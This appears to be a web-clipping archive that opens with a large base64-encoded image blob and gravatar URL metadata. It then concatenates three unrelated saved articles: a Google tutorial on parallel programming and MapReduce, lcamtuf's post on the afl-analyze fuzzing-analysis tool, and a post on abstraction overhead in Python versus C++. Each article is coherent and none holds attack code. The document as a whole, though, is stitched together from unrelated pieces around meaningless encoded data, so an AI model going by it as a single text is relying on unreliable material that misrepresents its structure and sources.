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
image/jpeg 140 140
https://camo.githubusercontent.com/2f0d6004bcac8598a717647e31c5a444eee59539/68747470733a2f2f302e67726176617461722e636f6d2f6176617461722f30616438636537623563313138643661613732343037666430393965373663663f643d68747470732533412532462532466173736574732d63646e2e6769746875622e636f6d253246696d6167657325324667726176617461727325324667726176617461722d757365722d3432302e706e6726723d6726733d313430
68747470733a2f2f302e67726176617461722e636f6d2f6176617461722f30616438636537623563313138643661613732343037666430393965373663663f643d68747470732533412532462532466173736574732d63646e2e6769746875622e636f6d253246696d6167657325324667726176617461727325324667726176617461722d757365722d3432302e706e6726723d6726733d313430.jpg
false

# Introduction to Parallel Programming and MapReduce - Google Code University
- Google Code

**Created:**| _10/24/2011 1:42:43 PM_  
---|---  
**Updated:**| _10/24/2011 1:42:43 PM_  
**Author:**| __  
**Tags:**| _Tutorials map-reduce parallel_  
  

# Introduction to Parallel Programming and MapReduce

### Table of Contents

Audience and Pre-Requisites

Serial vs. Parallel Programming

The Basics

What is MapReduce?

MapReduce Execution Overview

MapReduce Examples

References

* * *
### Audience and Pre-Requisites

This tutorial covers the basics of parallel programming and the MapReduce
programming model. The pre-requisites are significant programming experience
with a language such as C++ or Java, and data structures & algorithms.

### Serial vs. Parallel Programming

In the early days of computing, programs were _serial_ , that is, a program
consisted of a sequence of instructions, where each instruction executed one
after the other. It ran from start to finish on a single processor.

_Parallel programming_ developed as a means of improving performance and
efficiency. In a parallel program, the processing is broken up into parts,
each of which can be executed concurrently. The instructions from each part
run simultaneously on different CPUs. These CPUs can exist on a single
machine, or they can be CPUs in a set of computers connected via a network.

Not only are parallel programs faster, they can also be used to solve problems
on large datasets using non-local resources. When you have a set of computers
connected on a network, you have a vast pool of CPUs, and you often have the
ability to read and write very large files \(assuming a distributed file
system is also in place\).

### The Basics

The first step in building a parallel program is identifying sets of tasks
that can run concurrently and/or paritions of data that can be processed
concurrently. Sometimes it's just not possible. Consider a Fibonacci function:

[code]

    Fk+2 = Fk + Fk+1
    
[/code]

A function to compute this based on the form above, cannot be "parallelized"
because each computed value is dependent on previously computed values.

A common situation is having a large amount of consistent data which must be
processed. If the data can be decomposed into equal-size partitions, we can
devise a parallel solution. Consider a huge array which can be broken up into
sub-arrays. <img src='img/Temp2_4576.png' />

If the same processing is required for each array element, with no
dependencies in the computations, and no communication required between tasks,
we have an ideal parallel computing opportunity. Here is a common
implementation technique called _master/worker_.

The MASTER:

  * initializes the array and splits it up according to the number of available WORKERS 
  * sends each WORKER its subarray 
  * receives the results from each WORKER 

The WORKER:

  * receives the subarray from the MASTER 
  * performs processing on the subarray 
  * returns results to MASTER 

This model implements _static load balancing_ which is commonly used if all
tasks are performing the same amount of work on identical machines. In
general, _load balancing_ refers to techniques which try to spread tasks among
the processors in a parallel system to avoid some processors being idle while
others have tasks queueing up for execution.

A static load balancer allocates processes to processors at run time while
taking no account of current network load. Dynamic algorithms are more
flexible, though more computationally expensive, and give some consideration
to the network load before allocating the new process to a processor.

As an example of the MASTER/WORKER technique, consider one of the methods for
approximating pi. The first step is to inscribe a circle inside a square:

<img src='img/Temp2_4575.png' />

The area of the square, denoted As = \(2r\)2 or 4r2. The area of the circle,
denoted Ac, is pi \* r2. So:

[code]

    pi = Ac / r2
    As = 4r2
    r2 = As / 4
    pi = 4 * Ac / As
    
[/code]

The reason we are doing all these algebraic manipulation is we can parallelize
this method in the following way.

  1. Randomly generate points in the square 
  2. Count the number of generated points that are both in the circle and in the square 
  3. r = the number of points in the circle divided by the number of points in the square 
  4. PI = 4 \* r 

And here is how we parallelize it:

[code]

    NUMPOINTS = 100000; // some large number - the bigger, the closer the approximation
    
    p = number of WORKERS;
    numPerWorker = NUMPOINTS / p;
    countCircle = 0;   // one of these for each WORKER
    
    // each WORKER does the following:
    for (i = 0; i < numPerWorker; i++) {
      generate 2 random numbers that lie inside the square;
      xcoord = first random number; 
      ycoord = second random number;
      if (xcoord, ycoord) lies inside the circle
      countCircle++;
    }
    
    MASTER:
      receives from WORKERS their countCircle values
      computes PI from these values: PI = 4.0 * countCircle / NUMPOINTS;
    
[/code]

### What is MapReduce?

Now that we have seen some basic examples of parallel programming, we can look
at the MapReduce programming model. This model derives from the `map` and
`reduce` combinators from a functional language like Lisp.

In Lisp, a `map` takes as input a function and a sequence of values. It then
applies the function to each value in the sequence. A `reduce` combines all
the elements of a sequence using a binary operation. For example, it can use
"+" to add up all the elements in the sequence.

MapReduce is inspired by these concepts. It was developed within Google as a
mechanism for processing large amounts of raw data, for example, crawled
documents or web request logs. This data is so large, it must be distributed
across thousands of machines in order to be processed in a reasonable time.
This distribution implies parallel computing since the same computations are
performed on each CPU, but with a different dataset. MapReduce is an
abstraction that allows Google engineers to perform simple computations while
hiding the details of parallelization, data distribution, load balancing and
fault tolerance.

Map, written by a user of the MapReduce library, takes an input pair and
produces a set of intermediate key/value pairs. The MapReduce library groups
together all intermediate values associated with the same intermediate key _I_
and passes them to the reduce function.

The reduce function, also written by the user, accepts an intermediate key I
and a set of values for that key. It merges together these values to form a
possibly smaller set of values. \[1\]

Consider the problem of counting the number of occurrences of each word in a
large collection of documents:

[code]

    map(String key, String value): 
    // key: document name 
    // value: document contents 
    for each word w in value: 
      EmitIntermediate(w, "1"); 
    
    reduce(String key, Iterator values):
    // key: a word
    // values: a list of counts
    int result = 0;
    for each v in values:
      result += ParseInt(v);
    Emit(AsString(result));     [1]
    
[/code]

The map function emits each word plus an associated count of occurrences \("1"
in this example\). The reduce function sums together all the counts emitted
for a particular word.

###  MapReduce Execution Overview

The Map invocations are distributed across multiple machines by automatically
partitioning the input data into a set of M splits or _shards_. The input
shards can be processed in parallel on different machines.

Reduce invocations are distributed by partitioning the intermediate key space
into R pieces using a partitioning function \(e.g., hash\(key\) mod R\). The
number of partitions \(R\) and the partitioning function are specifed by the
user.

The illustration below shows the overall flow of a MapReduce operation. When
the user program calls the MapReduce function, the following sequence of
actions occurs \(the numbered labels in the illustration correspond to the
numbers in the list below\).

<img src='img/Temp2_4577.png' />

  1. The MapReduce library in the user program first shards the input files into M pieces of typically 16 megabytes to 64 megabytes \(MB\) per piece. It then starts up many copies of the program on a cluster of machines. 
  2. One of the copies of the program is special: the master. The rest are workers that are assigned work by the master. There are M map tasks and R reduce tasks to assign. The master picks idle workers and assigns each one a map task or a reduce task. 
  3. A worker who is assigned a map task reads the contents of the corresponding input shard. It parses key/value pairs out of the input data and passes each pair to the user-defined Map function. The intermediate key/value pairs produced by the Map function are buffered in memory. 
  4. Periodically, the buffered pairs are written to local disk, partitioned into R regions by the partitioning function. The locations of these buffered pairs on the local disk are passed back to the master, who is responsible for forwarding these locations to the reduce workers.
  5. When a reduce worker is notified by the master about these locations, it uses remote procedure calls to read the buffered data from the local disks of the map workers. When a reduce worker has read all intermediate data, it sorts it by the intermediate keys so that all occurrences of the same key are grouped together. If the amount of intermediate data is too large to fit in memory, an external sort is used.
  6. The reduce worker iterates over the sorted intermediate data and for each unique intermediate key encountered, it passes the key and the corresponding set of intermediate values to the user's Reduce function. The output of the Reduce function is appended to a final output file for this reduce partition. 
  7. When all map tasks and reduce tasks have been completed, the master wakes up the user program. At this point, the MapReduce call in the user program returns back to the user code. 

After successful completion, the output of the MapReduce execution is
available in the R output files. \[1\]

To detect failure, the master pings every worker periodically. If no response
is received from a worker in a certain amount of time, the master marks the
worker as failed. Any map tasks completed by the worker are reset back to
their initial idle state, and therefore become eligible for scheduling on
other workers. Similarly, any map task or reduce task in progress on a failed
worker is also reset to idle and becomes eligible for rescheduling.

Completed map tasks are re-executed when failure occurs because their output
is stored on the local disk\(s\) of the failed machine and is therefore
inaccessible. Completed reduce tasks do not need to be re-executed since their
output is stored in a global fille system.

###  MapReduce Examples

Here are a few simple examples of interesting programs that can be easily
expressed as MapReduce computations.

**Distributed Grep:** The map function emits a line if it matches a given
pattern. The reduce function is an identity function that just copies the
supplied intermediate data to the output.

**Count of URL Access Frequency** : The map function processes logs of web
page requests and outputs <URL, 1>. The reduce function adds together all
values for the same URL and emits a <URL, total count> pair.

**Reverse Web-Link Graph** : The map function outputs <target, source> pairs
for each link to a target URL found in a page named "source". The reduce
function concatenates the list of all source URLs associated with a given
target URL and emits the pair: <target, list\(source\)>.

**Term-Vector per Host** : A term vector summarizes the most important words
that occur in a document or a set of documents as a list of <word, frequency>
pairs. The map function emits a <hostname, term vector> pair for each input
document \(where the hostname is extracted from the URL of the document\). The
reduce function is passed all per-document term vectors for a given host. It
adds these term vectors together, throwing away infrequent terms, and then
emits a final <hostname, term vector> pair.

**Inverted Index** : The map function parses each document, and emits a
sequence of <word, document ID> pairs. The reduce function accepts all pairs
for a given word, sorts the corresponding document IDs and emits a <word,
list\(document ID\)> pair. The set of all output pairs forms a simple inverted
index. It is easy to augment this computation to keep track of word positions.
\[1\]

###  References

\[1\] Dean, Jeff and Ghemawat, Sanjay. **MapReduce: Simplified Data Processing
on Large Clusters** http://labs.google.com/papers/mapreduce-osdi04.pdf

\[2\] Lammal, Ralf. **Google's MapReduce Programming Model Revisited**.
http://www.cs.vu.nl/~ralf/MapReduce/paper.pdf

\[3\] Open Source MapReduce: http://lucene.apache.org/hadoop/

# lcamtuf's blog: Automatically inferring file syntax with afl-analyze

**Created:**| _2/14/2016 4:47:41 PM_  
---|---  
**Updated:**| _2/14/2016 4:47:41 PM_  
**Author:**| __  
**Tags:**| __  
  
  

###  Automatically inferring file syntax with afl-analyze

The nice thing about the control flow instrumentation used by American Fuzzy
Lop is that it allows you to do much more than just, well, fuzzing stuff. For
example, the suite has long shipped with a standalone tool called _afl-tmin_ ,
capable of automatically shrinking test cases while still making sure that
they exercise the same functionality in the targeted binary \(or that they
trigger the same crash\). Another similar tool, _afl-cmin_ , employed a
similar trick to eliminate redundant files in any large testing corpora.

The latest release of AFL features another nifty new addition along these
lines: _afl-analyze_. The tool takes an input file, sequentially flips bytes
in this data stream, and then observes the behavior of the targeted binary
after every flip. From this information, it can infer several things:

  * Classify some content as no-op blocks that do not elicit any changes to control flow \(say, comments, pixel data, etc\). 
  * Checksums, magic values, and other short, atomically compared tokens where any bit flip causes the same change to program execution. 
  * Longer blobs exhibiting this property - almost certainly corresponding to checksummed or encrypted data. 
  * "Pure" data sections, where analyzer-injected changes consistently elicit differing changes to control flow. 

This gives us some remarkable and quick insights into the syntax of the file
and the behavior of the underlying parser. It may sound too good to be true,
but actually seems to work in practice. For a quick demo, let's see what _afl-
analyze_ has to say about running _cut -d ' ' -f1_ on a text file:

<img src='img/*.png' width='675' height='290' />

We see that _cut_ really only cares about spaces and newlines. Interestingly,
it also appears that the tool always tokenizes the entire line, even if it's
just asked to return the first token. Neat, right?

Of course, the value of _afl-analyze_ is greater for incomprehensible binary
formats than for simple text utilities; perhaps even more so when dealing with
black-box parsers \(which can be analyzed thanks to the runtime QEMU
instrumentation supported in AFL\). To try out the tool's ability to deal with
binaries, let's check out _libpng_ :

<img src='img/13726_*.png' width='795' height='263' />

This looks pretty damn good: we have two four-byte signatures, followed by
chunk length, four-byte chunk name, chunk length, some image metadata, and
then a comment section. Neat, right? All in a matter of seconds: no
configuration needed and no knobs to turn.

Of course, the tool shipped just moments ago and is still very much
experimental; expect some kinks. Field testing and feedback welcome\!

  

# Josh Haberman: The overhead of abstraction in C/C++ vs. Python/Ruby

**Created:**| _10/18/2014 4:38:57 PM_  
---|---  
**Updated:**| _10/18/2014 4:38:57 PM_  
**Author:**| __  
**Tags:**| _opinion performance_  
  

# The overhead of abstraction in C/C++ vs. Python/Ruby

I've been working on some Python and Ruby libraries lately that wrap C
extensions. An interesting and important observation came to me as I was doing
some of the design.  
  
Please note this is _not_ meant to be any kind of commentary of the relative
value between these languages. It's a specific observation that is useful when
you are crossing the language barrier and deciding the boundary between what
should go in the high-level language vs what should go in C or C++.  
  
The observation I made is that C and C++ compilers can inline, whereas
interpreters for Python and Ruby generally do not.  
  
This may seem like a mundane observation, but what it means is that building
abstractions in the high-level language has a noticeable cost, where in C and
C++ simple abstractions built around function calls are basically free.  
  
To illustrate, take this Python program:

[code]

    total = 0
    
    for i in range(1000000):
      total += i
    
    print total
[/code]

Now suppose we want to abstract this a bit \(this is a toy example, but
mirrors the structure of real abstractions\):

[code]

    total = 0
    
    class Adder:
      def __init__(self):
        self.total = 0
    
      def add(self, i):
        self.total += i
    
    adder = Adder()
    
    for i in range(1000000):
      adder.add(i)
      
    print adder.total
[/code]

On my machine, the second example is less than half the speed of the first.
\(The same is true of Ruby when I tried equivalent programs\).

[code]

    $ time python test.py 
    499999500000
    
    real 0m0.158s
    user 0m0.133s
    sys     0m0.023s
    $ time python test2.py 
    499999500000
    
    real 0m0.396s
    user 0m0.367s
    sys     0m0.024s
    
[/code]

Compare this with the equivalent first program in C++ \(I used "volatile" to
prevent the compiler from being too smart and collapsing the loop
completely\):

[code]

    #include <stdio.h>
    
    int main() {
      volatile long total = 0;
    
      for (long i = 0; i < 100000000; i++) {
        total += i;
      }
    
      printf("%ld\n", total);
    }
[/code]

And the version with the adder abstracted into a class:

[code]

    #include <stdio.h>
      
    class Adder {
     public:
      Adder() : total(0) {}
      
      void add(long i) { total += i; }
      
      volatile long total;
    };
    
    int main() {
      Adder adder;
    
      for (long i = 0; i < 100000000; i++) {
        adder.add(i);
      }
    
      printf("%ld\n", adder.total);
    }
[/code]

On my machine, not only do they take the same amount of time, they compile
into literally exactly the same machine code.  
